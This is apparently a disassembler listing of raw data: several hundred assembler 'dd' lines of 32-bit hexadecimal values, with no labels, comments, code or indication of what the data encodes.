dd 0D6C5AB0Ah, 1560D41Bh, 7CD2C3A3h, 5B0C01B2h, 0EA12B5A2h
dd 836864B6h, 48B4D8F7h, 0FC490226h, 0D9137D00h, 0E54E995h
dd 0A59A4089h, 10B7EF47h, 513548ECh, 0C11C74F2h, 0A0C08172h
dd 0B0DAC8F9h, 742A5C58h, 1BD2FD03h, 39C856C0h, 148C58Bh
dd 0DEFE04B5h, 0F887128Ah, 0B0C95CB0h, 0CB240083h, 0B57DC81Ch
dd 6301D7B3h, 0C154A820h, 20644996h, 0E5AB0087h, 7F7B326Dh
dd 500904CFh, 2041FA6Eh, 96450284h, 0F1180F34h, 0C9610C8Eh
dd 438F5281h, 89D00DB8h, 0BA00632Ch, 4FB3E696h, 0EA036533h
dd 0C05600D2h, 0B13513B2h, 8C0C3B3Fh, 1014AEC3h, 556400B9h
dd 0AC3E2252h, 13B43F3h, 7FB004CBh, 0B8801C21h, 3CB293B8h
dd 0F200984Ah, 48412053h, 0A90FC607h, 0E0135605h, 25BE74A0h
dd 0AC673AC2h, 0D34B8C00h, 0EC769ECFh, 0A8883D00h, 0AD61F398h
dd 4E080146h, 0AF72D4Ah, 47A0DC71h, 147B7300h, 0CF952026h
dd 253F074Eh, 32C984h, 0F75FA564h, 9CC5ED02h, 0C0CC576Eh
dd 0FA82B3h, 876FE3D2h, 0A576E9C9h, 0E595CE16h, 0A0BB7497h
dd 0F0B40708h, 7B61005Ah, 0F494867Ah, 0EF004226h, 40B25650h
dd 8A9548h, 0A0B9E6Dh, 4C1A8F04h, 3801FC7Dh, 77960DB7h
dd 0A8D0D6F4h, 561800C2h, 5E21E47Ch, 20282CCh, 93B71984h
dd 8165423Bh, 0BC2D334Dh, 305DEE4h, 0A62B6FADh, 7680A7E9h
dd 2500DB11h, 4ECBA345h, 3F3EDA2h, 790E787h, 0FE805C7Ch
dd 627174EFh, 31A34413h, 0C53ACA01h, 0A47429E5h, 90904C7Bh
dd 35F39D0Fh, 653BC487h, 0A888C0DDh, 690254CCh, 7372B209h
dd 745663h, 0A20C94BDh, 0AF717412h, 0DD532900h, 0A00450D5h
dd 26A6728Bh, 858C07EEh, 0D0166E64h, 246790DCh, 87952500h
dd 0A937E22h, 10DA505Dh, 142018Ch, 5C50DC0Ch, 3051D40Eh
dd 2A301272h, 71825103h, 8EA09416h, 9F800AA7h, 288F568Ch
dd 0F63FB502h, 0E0E7AE17h, 793A97h, 23F82F46h, 0C7B015D4h
dd 0A98DF91Ch, 0E81F1200h, 1C952D2Ah, 707D07EFh, 2F5648A0h
dd 0FE4CFFEAh, 88123000h, 60FA866Fh, 0A7A070E1h, 504A47E0h
dd 0C12FC56h, 0C40C0891h, 0C6C8C08Eh, 54005B8Fh, 4E42EC2Fh
dd 0F1E03700h, 0E996FD10h, 229005Dh, 1F1511CEh, 917D62EEh
dd 6401D398h, 0C85DAE7Fh, 2FE85F8Ah, 80450004h, 0F4539E4Ch
dd 3600AA6Dh, 0F055B8Bh, 0F99DE2h, 0AE6AC279h, 24C0C141h
dd 0B9B64E0Ah, 9B00CBCAh, 81D9A2E7h, 0B35C07F8h, 3001AA30h
dd 0DABD4A66h, 3A95100h, 0FDF225B1h, 0B97F7Ah, 6C4B825Ah
dd 50B275C3h, 4AC8D400h, 27A6ACD9h, 8BC200A0h, 5ACB425Dh
dd 6638648Ah, 0F13D819Bh, 2BEBBB79h, 29000028h, 0B2D6E8B6h
dd 84265E16h, 0EF80486Ah, 9EB12E0Ch, 3CC70BBh, 6BBE8F36h
dd 0B4E010D4h, 0E21E910Eh, 23AB120h, 690207F8h, 31B88068h
dd 10FEFFFh, 9A7CDC87h, 0F0CAE063h, 4231912Eh, 0BC7250F0h
dd 4FE034h, 59CBD7AAh, 32F15129h, 0AEC78301h, 0B890FC11h
dd 1A701880h, 9BA9867Dh, 8524A81Eh, 0DE61110Eh, 57AA7E03h
dd 2F281C90h, 78641EFh, 0D1DC118Bh, 441880BDh, 6134BCDh
dd 34C32570h, 0C10060BCh, 65B1226Bh, 7A41D61h, 0FFA4F87h
dd 9923C0B6h, 0ED0028C3h, 83DEC89Bh, 4C70A6h, 72A31275h
dd 688A8278h, 0BE9A7D00h, 34B42667h, 9C88A03Fh, 14491E6h
dd 58E9C769h, 0CE40EE0Eh, 8CCD64Ah, 4E21BDh, 0B4EFE99Fh
dd 0D28AE540h, 0F05BFF30h, 1FDFE294h, 1295A57h, 97DA7E09h
dd 82E8838Fh, 15123D2h, 0BBC1128h, 0F607E748h, 7335D480h
dd 9904A1BEh, 0F7EB0989h
dd 87A804D0h, 0F4F955EAh, 0AFB741DAh, 25D3F440h, 9FA90CC8h
dd 0C920D76Eh, 305C8505h, 2038EA78h, 29846D8h, 0A1C96B38h
dd 14640Ch, 9B5581FFh, 30F64D8Bh, 0D809646Fh, 3E791F21h
dd 5C012655h, 0C06FAA93h, 0B5F18259h, 72712D34h, 96F100DCh
dd 9F937FC1h, 921D8D22h, 0D18246Fh, 9ECB21h, 0D927A5C1h
dd 0AD537649h, 0B254BD00h, 9B4A89A4h, 0CA98A080h, 310802FCh
dd 0CC3D708Bh, 471110C1h, 0C964E39Ch, 7F60209Dh, 8B239555h
dd 13117Dh, 7855771Dh, 0BE7EB42Dh, 98003E9Ch, 0AE0E3F66h
dd 9427B884h, 0A538C061h, 9C79032Ch, 0CA7F0D5Dh, 0AD290800h
dd 16465696h, 0E4B80151h, 0C9665EF3h, 824448A2h, 8B965508h
dd 7A247075h, 0EBDD20C3h, 52E8FE5Fh, 9F2A0B3h, 9D2E5430h
dd 1958F7F0h, 8D8A8050h, 0BB2A3CFh, 12790FC3h, 9710ED81h
dd 6ED8236Fh, 97853170h, 0A73082C1h, 34E43890h, 1D9FD280h
dd 804E1FC1h, 27CC8966h, 3F1A55E6h, 42602A16h, 96A88440h
dd 3EE9D067h, 4F432C0Eh, 4C5CC122h, 810D0120h, 8B9809DCh
dd 483F2C20h, 5903A45Dh, 0EE027EC6h, 0C087603Ah, 0A40E8C9Fh
dd 920E59E9h, 87D838h, 0FBBBE99Ch, 86BF444h, 89D80A05h
dd 448817F2h, 8EF6035h, 7D7AF1E2h, 87802448h, 4190DF61h
dd 1EAFC98Ch, 2ABE45F7h, 0F3430F8Ch, 9C2915D9h, 60A04404h
dd 21945724h, 46C0458Bh, 31B2557Ch, 95A98EE6h, 7908840Ch
dd 40905E1Ah, 7508FEh, 0CA2E3096h, 32DCBE18h, 0EFBF6600h
dd 5BA54658h, 949F03F3h, 67337F2Ch, 0BCBB390Fh, 0DAD00197h
dd 43D04E70h, 8FF718FAh, 0B9E78989h, 0FD0479C7h, 5A034790h
dd 82BE0FA3h, 1A80C0D6h, 772EE1E2h, 0ED8FB21Fh, 59FE3FC1h
dd 0DEF0A481h, 0A7AF0010h, 8B162D42h, 0CA3EA189h, 1A7C0A86h
dd 0EA8AC30h, 0A7B1CC0Ch, 0CCB0287Ah, 66A95931h, 89CC5700h
dd 14FF22D5h, 0AF600525h, 8DE858Fh, 0A3C0A0F4h, 460E54E9h
dd 126610BCh, 0E99B8A00h, 0CEFBE3F7h, 6A57A900h, 94C05431h
dd 0FAE01C38h, 9BC48993h, 1A8C5880h, 8491CF0Fh, 93805811h
dd 0C794F2C1h, 0D6E6448Ch, 91C19B00h, 0AE9FE199h, 7B098EBh
dd 0AA5AE9FBh, 0CB2B2134h, 68B8B1C7h, 6E07CEF3h, 91121BA0h
dd 0D8B07E50h, 0DEA07A09h, 574501Eh, 0EA89C6FCh, 0A1A09057h
dd 261C9FA7h, 7F00CD0Eh, 1AC5E594h, 205A6521h, 23B83ACCh
dd 0AE880061h, 0ACE4CFB3h, 90B41913h, 897A1C20h, 0D0FF690Eh
dd 0F42F88Fh, 0F08BDCh, 2B653707h, 2C90A2D3h, 0B9FBA88Ch
dd 0C4CD3E04h, 250554B8h, 0A72A7B36h, 0EE5318D0h, 9F51C85Eh
dd 9156F3C0h, 0F41D218Bh, 413E1B91h, 4765580h, 182BC595h
dd 1783161Eh, 0AB434ACFh, 2550A0A8h, 0C1292FDEh, 83AA7A70h
dd 9C6042BEh, 98558030h, 0F4252B47h, 78428160h, 70E3B355h
dd 0A66184C0h, 599147C1h, 8808CB14h, 1289C01Ah, 0A47D8D02h
dd 9E82370Fh, 47A3C3B0h, 8AC6B299h, 6E0920CCh, 0DE88A221h
dd 4004C7Eh, 0A7C7CC59h, 205D626Ah, 65CC516Ch, 0E92419FEh
dd 9011B079h, 40EDA41Eh, 0C881D7A6h, 7EC18FEh, 76A180F5h
dd 306BDC19h, 2C9A0093h, 0F131371Eh, 0CCE24305h, 0C87E5701h
dd 0E00A80EAh, 978A897h, 0AC3056B0h, 2811C18Dh, 0E088B795h
dd 0C140D09Fh, 4EC0E3E4h, 0B20180Fh, 52D78108h, 2D373B06h
dd 511372h, 0BACB3A07h, 7E2609D6h, 0F1E87330h, 3134ADE2h
dd 5E11A812h, 0DF49855Dh, 7C8BB481h, 44C0E6C8h, 0EF0B4B2h
dd 845D9B7Eh, 425A5179h, 0C88303C3h, 89D5ED8Eh, 0E2C447D0h
dd 0E0400FB6h, 19C01472h, 36085AFFh, 1820042h, 3CED525Bh
dd 0DA753FC8h, 5A848CBh, 0A41DFCF9h, 0FD5A41C6h, 87E40218h
dd 601B516h, 189A9061h, 2C4198CDh, 7084CC0Eh, 0E909A588h
dd 0A977B9E4h, 0C6788038h, 596A3F54h, 9B88E034h, 3DE9C8C0h
dd 2284460Eh, 0A05B01BEh, 33ABD5E9h, 2342463h, 18F8D176h
dd 0B42A4F00h, 0B5FB3965h, 8E451457h, 56108CCCh, 7910060Dh
dd 4980265Ah, 9B820EBh, 0D4003543h, 1C644E20h, 7840D05h
dd 1D0ACDB2h, 44329066h, 0AE24102Dh, 854110E1h, 80051268h
dd 63ABEDF8h, 0EF664A03h, 64335Ah, 0E2CE4CD9h, 0D4E2A17h
dd 0D6681400h, 7642D7D3h, 9CA414D8h, 9403FC89h, 85A20460h
dd 8AABA0C7h, 0C32E5E9Dh, 0DC4B2C8Fh, 0B4A51519h, 5BE9CA80h
dd 0E0ACD40Eh, 89BC44h, 86B6E9A2h, 0B4EC275Ah, 8D9219C0h
dd 0F297E10Eh, 0B10500F4h, 9EDA5D0Dh, 0ED129458h, 48201047h
dd 25295695h, 3C1B8FADh, 2C4DE3C2h, 0D560C264h, 0A81FC0E7h
dd 25069F85h, 21B5E5h, 592482B7h, 5547DB54h, 76B43C01h
dd 5C051A85h, 2F237C29h, 81C19C00h, 86246F93h, 0D10A44h
dd 3AF1C1A4h, 2FF22E04h, 0CE89364h, 81763B45h, 93456F2Ch
dd 4C60B260h, 1123944Ch, 30B4AEFh, 59788CA9h, 0DE60A8B6h
dd 5D5C38F9h, 0E915F682h, 0F841C6E0h, 46C412C9h, 0FBE213D4h
dd 20C08943h, 0C89B8B05h, 0C8CC5A01h, 521872A7h, 0CCD56B89h
dd 9248ECh, 38827928h, 27D2951Eh, 295A6502h, 0E5B4FADEh
dd 350AE250h, 0E442E218h, 4C8A1CE6h, 88CF5289h, 4E010110h
dd 0A1684795h, 0D2F4B8C4h, 0CCAB4896h, 94DC2614h, 238C2F4Bh
dd 0D98700BEh, 0C953DBFDh, 0C15C84B0h, 11D0C858h, 0CC568077h
dd 8C52A7A4h, 6F5444h, 30B1082Eh, 4FE2E9D2h, 904DDA17h
dd 0EEDFFB01h, 0A029E878h, 18E01F04h, 7E0815Dh, 9DD8500Ch
dd 6704EA91h, 7CDBA161h, 9EA2E880h, 0F2080F60h, 712EE2Bh
dd 0CF8154DCh, 474E3521h, 1D42277h, 3969D29Eh, 0C4C61021h
dd 279DFE28h, 400486ECh, 572660A6h, 158B1092h, 7E48B0F4h
dd 89D00555h, 158EF4Ah, 6FE1B18Ch, 0BC82CEBEh, 4C7293B4h
dd 34609009h, 4ACF8621h, 87320B21h, 81C1476h, 2156BC94h
dd 46801265h, 8D6E28E2h, 19C33BBAh, 3E890F86h, 5E1260FFh
dd 0E80B9CB7h, 9168976Ah, 0BA278018h, 0C02A95B8h, 0FCEAF8D1h
dd 987CECh, 9C88B92Eh, 9CF27A02h, 811845C6h, 1B0B9F5Dh
dd 3A94102Fh, 0A37416F6h, 0EA6C20EBh, 640024E8h, 0A148411Ah
dd 6924Dh, 830B5510h, 79D0DDFDh, 0EC30E8A4h, 6F45398Ch
dd 0DB5E0169h, 0B4DEE862h, 8B344078h, 0EA4BF1B8h, 0B9D7041h
dd 998F6BE6h, 159E0EE8h, 7A81CC91h, 0EC36E98Bh, 5A264EE7h
dd 78E40C42h, 0CDCC5B60h, 7C5AA724h, 536A70h, 0D7BCBDCCh
dd 5F5666A6h, 0D104777Bh, 7F13EA8Bh, 0CC0E68A5h, 2EC01B88h
dd 0ECC59B9h, 7C09BDD7h, 0A15B0473h, 0B244F34Ah, 71D6300Ah
dd 0FEEF811Dh, 0FA87A602h, 6160E8E2h, 5D0E4F56h, 18415210h
dd 638B1099h, 59866E12h, 96290808h, 0C0249AB3h, 0A62DC037h
dd 42B20388h, 8AAE5B97h, 72B50189h, 34E3F124h, 0DC00BD0Ch
dd 0B993E8Fh, 0A0FD8527h, 0BAA3FA4h, 0B457E27Dh, 0B2D76060h
dd 749F2624h, 2601DD08h, 5B467404h, 0F7C5E301h, 0C09A1947h
dd 0A458B154h, 78224F9Bh, 5CF8089Eh, 0C381C46h, 0E5A22D80h
dd 0FA891206h, 3D3960B2h, 87267965h, 0A4079CCAh, 84FA722Ch
dd 44B19180h, 0E0D5DDh, 7FE1A590h, 64F7D362h, 10815631h
dd 0E36E40h, 0F29E031h, 0E423D37Ah, 9FB1200h, 0E1D520BBh
dd 0CA260BC6h, 0AC00639Ch, 856F6AA4h, 7E4AE873h, 0AC629013h
dd 5B6C7387h, 0E62B95A0h, 0A72E2713h, 895DAC05h, 14ADC88h
dd 0FAB26D01h, 18438E81h, 42B70CE2h, 2288CCE4h, 0B2408552h
dd 0E6CB3054h, 0CD0027B0h
dd 1215BD06h, 4D0EE3C2h, 8C001CE9h, 2F0427F3h, 5D0F3951h
dd 7223AA93h, 0EE42401h, 0B89F257Dh, 545F0B94h, 0B8510081h
dd 5D0398Bh, 10A27FA8h, 7EF39800h, 4E3B57D2h, 23983A5Ah
dd 0EDE30013h, 66703E04h, 465C04BCh, 8B070013h, 5D587D96h
dd 70990D6Eh, 68106445h, 32C2BD88h, 0E0C7E3D5h, 0FEDC04D1h
dd 0F0D7921h, 235FEE0Fh, 8E334624h, 350DC4E8h, 88F17037h
dd 0FC038426h, 946D1276h, 0D51AB8EBh, 7AD0A060h, 323F28D2h
dd 466104A8h, 98A7E34Ch, 3CE366C0h, 33FAB914h, 0C80DB699h
dd 500D3AFh, 0F113FFD8h, 0F5E6CA67h, 51414875h, 5071EDDDh
dd 3A8ECCh, 7F556EA6h, 2D32AFCAh, 30B85B09h, 0E260C533h
dd 0C819350Dh, 0F28F60E8h, 0BAFE0271h, 4FA7D72h, 3E2C2048h
dd 844D0B28h, 8C60EC9Ch, 0C34F2F42h, 0EFE3F818h, 92ECD912h
dd 0D68EAC40h, 9412CCDh, 36379F4Bh, 0C4E0884Fh, 4DC889h
dd 370D75DCh, 0D6882F9Ch, 7FE0F47Eh, 15F7B00Bh, 174CAB98h
dd 801891C0h, 194A4C41h, 77B012DBh, 6D7C9DF8h, 295A860h
dd 0AC870D67h, 78E496B8h, 0F80B7098h, 0C523FB60h, 1266E25Ch
dd 4BFB18h, 29FC5D45h, 40CF95DAh, 65337D14h, 30DEAD7Ch
dd 0D8003E4Ah, 1C3912C5h, 98C337Fh, 0A729511Ah, 0E542C467h
dd 0F3A61834h, 40BFE325h, 0C2FEECF4h, 26337CC1h, 0B10184A0h
dd 1602FA0Dh, 4219B994h, 6E90E056h, 9403827Eh, 74E8AE03h
dd 0A3004DEBh, 0E1B0772Eh, 0C2B8C4h, 0FC346095h, 62815497h
dd 0A22791ECh, 41208108h, 0E4000D32h, 6C7D507Fh, 40A10626h
dd 3B00F411h, 29234BC5h, 0DE0112E8h, 389406BFh, 7FDD4553h
dd 1205493h, 5DF66550h, 3D60395Eh, 9EC0CCB4h, 0E05182DBh
dd 60A6E179h, 0F88A11DCh, 233C2F93h, 0B2D7BA2h, 0CD048B92h
dd 0E4F5610Ch, 399D10B8h, 28FD0338h, 0AAA7565Ch, 2787A590h
dd 37DAA305h, 0B8C15015h, 7202F986h, 0B000C8C4h, 39C4EB8Eh
dd 1FE7F6DAh, 423FC792h, 369FA66Fh, 704CBCCAh, 0EA899A05h
dd 0C4C2878Bh, 3F885219h, 5A9282AEh, 0A4A4200Bh, 0CA0ECC16h
dd 0DA3008h, 860E72E5h, 0D9E6B0h, 3AD7702Eh, 7D793F40h
dd 0E98C3530h, 10272BCh, 12346A14h, 0C6FBB48Bh, 9D0124F9h
dd 649C99C1h, 18F26862h, 0DAC09C31h, 6ACC9427h, 3D00DEE8h
dd 62FE4B29h, 942E790Eh, 0F4E20960h, 7A46F8CEh, 0A3CC0B71h
dd 149C4AA7h, 81E707Bh, 0F42633BBh, 5FD13900h, 788487FEh
dd 0F0073094h, 5B21FCD1h, 260728E0h, 508824F2h, 0C85A77F1h
dd 0AC225071h, 0CF305CF2h, 26F8902Bh, 3E85309h, 5AF8F3FAh
dd 0D6D4E28Ch, 0E700806Bh, 0A34860D0h, 0B602C2D7h, 0B0B2011Dh
dd 3824441Ah, 6D8817E5h, 4180060Bh, 18254BABh, 884B185h
dd 0A4008A68h, 3B795B9Ch, 0F850F3E6h, 0BC33772Fh, 440D8068h
dd 0A7C17197h, 0B2176907h, 62803B9Fh, 2604A33Ch, 920B4D5h
dd 382E5696h, 30FF5FE4h, 0FCACF89h, 0BAE2BB8Ah, 0B11C3752h
dd 3911027Eh, 3F5AC1B4h, 682C1BDEh, 3D69183h, 0C8788EC5h
dd 0D656C058h, 0F100A43Bh, 0B09989ADh, 5E62A3AFh, 3DA829A1h
dd 2A804h, 0F1F67433h, 0DD738CC3h, 0ED945409h, 19E4910Ch
dd 2100D432h, 9F9D436Ch, 3717F6CCh, 7490E50Ah, 38AEADEh
dd 0AFB17A89h, 0C7E02D02h, 33725E68h, 5815D1C0h, 7FA4FFh
dd 2C0B4E1Fh, 0C3D5E4CAh, 0E6525F04h, 78B9E042h, 10642E96h
dd 0E8D134E0h, 98086007h, 0BB7DF1DBh, 5A31C8ABh, 1248309Dh
dd 644F2DACh, 3815A41Ah, 0FA98E311h, 5E00D915h, 0DCEDB127h
dd 2F87A805h, 0C883F272h, 0E79D3A89h, 0D87C2960h, 8634E4D0h
dd 1155E000h, 5A400E09h, 4FF10266h, 8B2E7E34h, 9C5B30C0h
dd 6E5260EAh, 1D471FE0h, 0AC3E9B40h, 0E6D0B957h, 0C46C0778h
dd 0A27EBB73h, 0B05B1CAFh, 465C5CA4h, 0D0310057h, 0BC6B5FF1h
dd 28849BBDh, 0DA02250Ah, 1879A099h, 0A217B058h, 3FCC7BCh
dd 82083075h, 3671DDA8h, 7ACDB501h, 2F5FAA93h, 0B83FE040h
dd 23240540h, 0B26817E6h, 0BB8880ECh, 0C0592FD3h, 890C6730h
dd 4A002D50h, 0F7A15116h, 9464C19Eh, 16465CE0h, 0D1848338h
dd 0C6997E8Ah, 0FB77708Eh, 68DF2324h, 91649DADh, 0A01A8F09h
dd 94BDB1DCh, 921F27E2h, 58C8AC6Eh, 0C191C052h, 972E9524h
dd 0CC58CC22h, 2EC10799h, 0A5662511h, 4610C03Dh, 2EE1CD0Ch
dd 0BD10AC2Fh, 79FEC011h, 1F9F5DC8h, 5DAA7803h, 0DE29DFE7h
dd 0E069524Ah, 2C26A458h, 0E024E477h, 0D8825844h, 0E1E8E09Fh
dd 81563E7Fh, 0E04C84Ch, 0B8665114h, 8C17B81Ch, 9441F905h
dd 58C2DD1Ah, 89F0569Fh, 0F809CFDBh, 7678C053h, 0B0F30085h
dd 5233C1B5h, 0A22D6FE8h, 486401F7h, 7C20F2A5h, 0E27C4088h
dd 4AA9F25h, 0A17944h, 0C1BCEC78h, 0B525008Ch, 0B44C581Dh
dd 942539E8h, 5040686Eh, 0CFC007A7h, 80BAF2C4h, 26DE1740h
dd 0B434D100h, 5D6B294h, 23A05E1Fh, 39D8AA7Ch, 9D005365h
dd 0FB918F77h, 1663CAEDh, 94265FC8h, 0E838C4C0h, 0C79B25E4h
dd 601B64E4h, 0FC66729Bh, 0CB971D61h, 34EF4968h, 7A133C52h
dd 84E03CFAh, 991A2AC6h, 0E1F869D8h, 0C370C073h, 97A708A5h
dd 0F01FA32h, 42912DABh, 8B4A903Ch, 0C0C0C864h, 0C513BE4h
dd 917438h, 534665F4h, 0F21210D9h, 5FFCB21Eh, 23642E87h
dd 0FCC40057h, 100DD899h, 91302A72h, 7FE451CEh, 84000A4h
dd 2FD71206h, 0CF25D270h, 0FA8CE02Ch, 0B8EB48B0h, 0C05CBC12h
dd 487698B0h, 11E13430h, 2F514C9h, 5B4B8C77h, 384010E0h
dd 1A5F780Ch, 63922842h, 4C4064CCh, 0B93A207Ah, 0A400BD40h
dd 0C68B7BFCh, 54AADF5Eh, 0BA8BC7Dh, 0F7D28514h, 6B355048h
dd 1B79A499h, 97966019h, 0F394BA01h, 8B221A99h, 4C82C3F4h
dd 862FE8A6h, 5D119417h, 27DB9C80h, 8113D8F8h, 78F4269Fh
dd 0D424F1E7h, 0F26F17E4h, 0E1E007EAh, 412640BFh, 6B26ABC5h
dd 2A07185Ch, 2F74BF4h, 0CC24F970h, 2F3B0F0Ch, 0E4621E4Ch
dd 2C707DB7h, 0B577361Ch, 0AD825870h, 2A35020Ch, 167DAEF2h
dd 847B4879h, 9137ED60h, 5E975400h, 0E3C4CC36h, 90D24972h
dd 0DE82C4Ch, 6C733C8Ch, 0C30C6187h, 0B02370F3h, 2713CEFFh
dd 8C9007ADh, 0C18039h, 8D3E14Bh, 0F2E29F97h, 37DB8B07h
dd 0E98A23h, 0B943F304h, 6CCA477h, 1B01B75Eh, 2E00112Bh
dd 0E17AB129h, 261EE49h, 97264036h, 0C868D4F2h, 152D1EDFh
dd 41584CAAh, 0BB608B56h, 0A06870DEh, 9CEF1AB4h, 6BBC85E8h
dd 252CC0C5h, 0C2D5698h, 409C46E9h, 20A7B6C0h, 0C188DD08h
dd 892E94B8h, 0DB6B3CB9h, 0EDFA5834h, 6C82A11Eh, 6FD17647h
dd 65B509B2h, 3509E264h, 7A37B18h, 0D231344Eh, 0E7A46EE1h
dd 18D8FC87h, 0DF790142h, 0D1784AB4h, 298C5EE0h, 8E9209CCh
dd 0B74C9256h, 78F400A0h, 0E39F52F9h, 0C71A871Eh, 467614AEh
dd 0D2D300BEh, 0C4E8AFB0h, 2EE42EA3h, 6D380B94h, 9970B45Bh
dd 83EE388Ch, 0EC267051h, 98581EF0h, 0A93A3F02h, 4269F261h
dd 5824DBACh, 2C004612h, 9F51A541h, 9C68D9h, 20B638Ah
dd 0EE8E5893h, 0B0E3CB32h, 87A07608h, 70D2644Fh, 0B5142FABh
dd 9F9C5D00h, 0BB1D0260h, 42740463h, 0C0BA1B8Fh, 984382Ch
dd 0EB30E5E8h, 8AE6C991h, 467E43Dh, 29341D72h, 16E48CA7h
dd 6348A500h, 2FFD3E52h, 8DB70092h, 87998AD3h, 795D3DE1h
dd 260B9ECCh, 0E474E560h, 26A6052h, 0C5450187h, 0B2DE7ADBh
dd 141C30A7h, 1269BCB0h
dd 9088406Ah, 0D9609964h, 8F180Eh, 106E7C5Eh, 0C8948B60h
dd 20E1C426h, 0ECD2FE13h, 0D638D487h, 0D71A7F05h, 0D80012F6h
dd 913494D5h, 58EF6F86h, 99E6167h, 0D1422092h, 6C42CC6Ah
dd 0D32E9CC8h, 0BC68F048h, 1124365h, 6B43FEB8h, 0A9FB9A4Dh
dd 84727220h, 0ED71B500h, 50831BC2h, 0D9FB1E01h, 0B346C196h
dd 3CAADCF0h, 0C5A5812Dh, 0C064D0E7h, 0B3731067h, 0FE3824DBh
dd 8660160h, 77E641EAh, 0C071D874h, 0AFCEC9B1h, 4451A8CFh
dd 0F26C7280h, 0DCEA31CBh, 9D018AA7h, 9FAE45D4h, 14200B22h
dd 0F882E3F9h, 0DD5D8FB4h, 0B70B487Ch, 10E0213Eh, 243F5289h
dd 0B228B274h, 0A90F305Ch, 8094EB4Ch, 2819ADE1h, 0ED8B5046h
dd 2218C0CAh, 0A84EF3DEh, 9EAF9B38h, 688120C8h, 0A696B9DBh
dd 5C504CFFh, 0BC20BA2Eh, 44B0F809h, 0A865BC24h, 30C2B99Ch
dd 0FC1CC114h, 6F4E3F38h, 2AD921E0h, 1440ABE3h, 0BEF91A8Ah
dd 0E27A02C8h, 4400BDB3h, 4D02772Fh, 6722300Fh, 30E62C3Bh
dd 0AA50304Bh, 5DE10DA7h, 72A9E429h, 3018F2ECh, 48B0A4A8h
dd 7117EB32h, 1AC6200Fh, 0AA52FB71h, 0A1F457B0h, 0AA6156EEh
dd 291E6F4h, 0E28231C5h, 0C848327Fh, 2D55F54Ah, 0ECFBF0C4h
dd 0E5187B25h, 6016E47Ch, 1D2CCDD3h, 6FF73643h, 9D5AC61h
dd 78F77832h, 914163C0h, 0D36001D8h, 4BDD9EB9h, 2CCE3177h
dd 8CE3E8DCh, 0D2F53E03h, 98854470h, 0C037EA8Bh, 8425E851h
dd 0A4149ADDh, 13F33460h, 94F22D02h, 0C34E6F1h, 7E2C1E75h
dd 0C4E2E781h, 1029A441h, 65A2276h, 72DB0BA5h, 0E10F39DCh
dd 0E1D7D88Dh, 0B2988A15h, 4924C4h, 0FE0C22B1h, 0F33F7D1Eh
dd 12D430F9h, 0A07259C4h, 0E404A943h, 917E9E0h, 0B012890h
dd 647B6D54h, 0C451698Bh, 7180FD71h, 47115CA9h, 7902E9C5h
dd 94C10F1Dh, 80A4D46Eh, 0AB7B6854h, 0F0396A1Eh, 91D83Ch
dd 9E1B3FB8h, 275CF10Ah, 4420DF38h, 0C1E8F3ECh, 0B6CC8A80h
dd 0A215E08h, 0BC168035h, 2239D8ECh, 8EEBEE00h, 4172F2AFh
dd 0E33509B0h, 4C7A91B9h, 80E00D5Ch, 0F862F969h, 588B8A1h
dd 4A543F31h, 0B020F685h, 5E735Bh, 5DC10599h, 9506C53h
dd 0AE0C0D00h, 29B93DBh, 40EA0090h, 1E83FBC3h, 42001267h
dd 0DED28D8h, 0DD1126h, 9E59DA0Ch, 161EB533h, 846AEB3Ch
dd 2B4EAB3h, 68D871C0h, 0FD3F0636h, 86F0CFEh, 0F221C660h
dd 0E486D89Ch, 7C17009Dh, 9A64476Ah, 0FFF0D5B1h, 0B7288F60h
dd 0C0ADA760h, 920AE518h, 977CD2C6h, 2AEAA606h, 610CC54h
dd 419CA95Ch, 220039FEh, 756FEE0Ah, 1D9D4F1Dh, 184EED7Dh
dd 40B4D825h, 0DAEE0300h, 7E424B33h, 0FC353CC1h, 0AC513183h
dd 5CC002E4h, 5778FBAEh, 0D913A39h, 204E9724h, 0CDC9ECh
dd 93FF8178h, 3C60B938h, 0CC04C200h, 0C1FE486Fh, 0EB884089h
dd 801A4B7Ch, 4F8E89Dh, 0A060C694h, 36236CD8h, 0CA119Fh
dd 0ED898CEh, 6003C83Eh, 0B6254C2Ah, 98A4E360h, 1AEB0A1Ch
dd 812C6794h, 3663D845h, 10CB31EEh, 7D89DF7h, 0AB6D19E4h
dd 78263048h, 22010C97h, 845ADE46h, 9854010Bh, 0C098B008h
dd 756BEE06h, 2622FD46h, 29DF4409h, 0B47E8A2Bh, 4080AC1Fh
dd 0B03A75A2h, 31B8C0AEh, 3C30F5D8h, 2B10FC60h, 0A515FD42h
dd 60C7E490h, 0C792728h, 0D595E785h, 44049018h, 0FB3F1E8Ah
dd 1B22E980h, 0E2C83E27h, 0A860C381h, 80323EC9h, 75A701B1h
dd 7B82D517h, 0E9A101ACh, 0C6AE4D38h, 3BEBC07Eh, 0FF71C102h
dd 884B68h, 3833F151h, 7099B230h, 0C0030493h, 0C56A5C50h
dd 0BE07F1FDh, 70A5FAD6h, 132660BEh, 929D03D9h, 0DDD0FFB0h
dd 11986092h, 9F746614h, 0CD751E03h, 753D19AEh, 5921C008h
dd 620746Dh, 8CDE0C00h, 69A07709h, 0B1998897h, 3C4C7824h
dd 47205828h, 0C4330038h, 0B07D58Ch, 921F2C36h, 8B075821h
dd 77859FE5h, 0B1BF440h, 90EE5717h, 0C7C00168h, 18D5B0BDh
dd 4FC54B1h, 3FF64E0h, 0ECB82AE5h, 0E60C080h, 0E0AD008Dh
dd 6D9B110Bh, 0C4A8AE91h, 0BF076E8Ah, 1E653005h, 305D6BA3h
dd 0AB21E308h, 2D03BFC6h, 17674D5Ah, 1AC081F2h, 0CAF22832h
dd 15E6530h, 71B27848h, 0FC06EC45h, 68C1A17Eh, 0A9551AD5h
dd 9F236822h, 72EE0901h, 2C181575h, 23988h, 0D6C4BEEEh
dd 0A545F5Ch, 0E28B2507h, 181E3E6Dh, 14FB729h, 3C0807D9h
dd 41E920EEh, 30FDBBBBh, 7914D724h, 2D07AAEh, 2944FA80h
dd 0C1DC4D16h, 40A4E73Ch, 0FD685BCFh, 24264479h, 2181501Fh
dd 7CEB4A80h, 0C2B0420h, 0E219C837h, 0B1615F10h, 0FE2F9F48h
dd 0E121C24h, 680343F5h, 0AC343242h, 9B10F081h, 72E45869h
dd 3009BF08h, 40DCC4C5h, 11BF6A6Fh, 3A90CC2h, 33494362h
dd 0C1DE1212h, 4205141Fh, 303AB078h, 5E00E123h, 0A27733D4h
dd 0EED80015h, 1C22516h, 10037150h, 115B0F34h, 37FC88Bh
dd 854800B2h, 93B6D7F6h, 0F0C405E4h, 98CEC420h, 0DCC0C588h
